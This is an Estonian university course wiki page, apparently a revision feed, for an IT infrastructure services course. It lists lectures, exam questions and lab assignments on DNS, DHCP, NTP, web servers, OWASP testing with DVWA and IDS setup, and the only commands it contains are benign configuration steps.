[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= ReferaadiTeemad 2015 =&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[Kippo SSH Honeypot]]&lt;br /&gt;
&lt;br /&gt;
[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
&lt;br /&gt;
[[hping]] http://www.hping.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[WPScan]] - http://wpscan.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Aircrack]]&lt;br /&gt;
&lt;br /&gt;
[[ntop]]&lt;br /&gt;
&lt;br /&gt;
[[Nikto]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - Artikkel on olemas, kuid vajab kaasajastamist (Artikli valimise korral kirjuta artikli algusesse suurelt: Kaasajastab &amp;lt;Sinu ees- ja perekonnanimi&amp;gt;, 2015, &amp;lt;rühm&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[DigiNotar]]&lt;br /&gt;
&lt;br /&gt;
[[Ipkungfu Tulemüür]]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88628</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88628"/>
		<updated>2015-05-18T07:42:56Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* ReferaadiTeemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
